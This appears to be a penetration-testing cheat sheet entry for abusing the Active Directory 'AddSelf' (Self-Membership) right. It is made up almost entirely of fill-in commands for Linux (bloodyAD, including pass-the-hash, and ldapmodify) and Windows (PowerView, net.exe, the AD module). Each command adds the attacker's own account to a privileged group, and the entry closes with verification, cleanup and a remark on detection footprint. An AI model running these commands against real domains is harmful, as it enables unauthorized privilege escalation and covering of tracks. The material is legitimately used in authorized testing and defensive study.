AddSelf

Source can add itself to the target group (Self-Membership extended right)

Applies to: User → Group

Linux Abuse

bloodyAD — add self to group

bloodyad -u <username> -p '<password>' -d <domain> --host <dc-ip> \
    add groupMember '<target-group>' '<username>'

bloodyAD — add self with hash

bloodyad -u <username> --hashes :<ntlm-hash> -d <domain> --host <dc-ip> \
    add groupMember '<target-group>' '<username>'

ldapmodify (self-membership)

ldapmodify -H ldap://<dc-ip> -D '<username>@<domain>' -w '<password>' <<EOF
dn: CN=<target-group>,CN=Users,DC=<domain>,DC=<tld>
changetype: modify
add: member
member: CN=<username>,CN=Users,DC=<domain>,DC=<tld>
EOF

Windows Abuse

PowerView

Add-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred

CMD / net.exe

net group "<target-group>" <username> /add /domain

AD Module

Add-ADGroupMember -Identity '<target-group>' -Members '<username>'

Verify

Get-DomainGroupMember -Identity '<target-group>' | Where-Object {$_.MemberName -eq '<username>'}

Cleanup (remove self after done)

Remove-DomainGroupMember -Identity '<target-group>' -Members '<username>' -Credential $cred

Functionally identical to AddMember but source can only add itself — less powerful than AddMember but same detection footprint
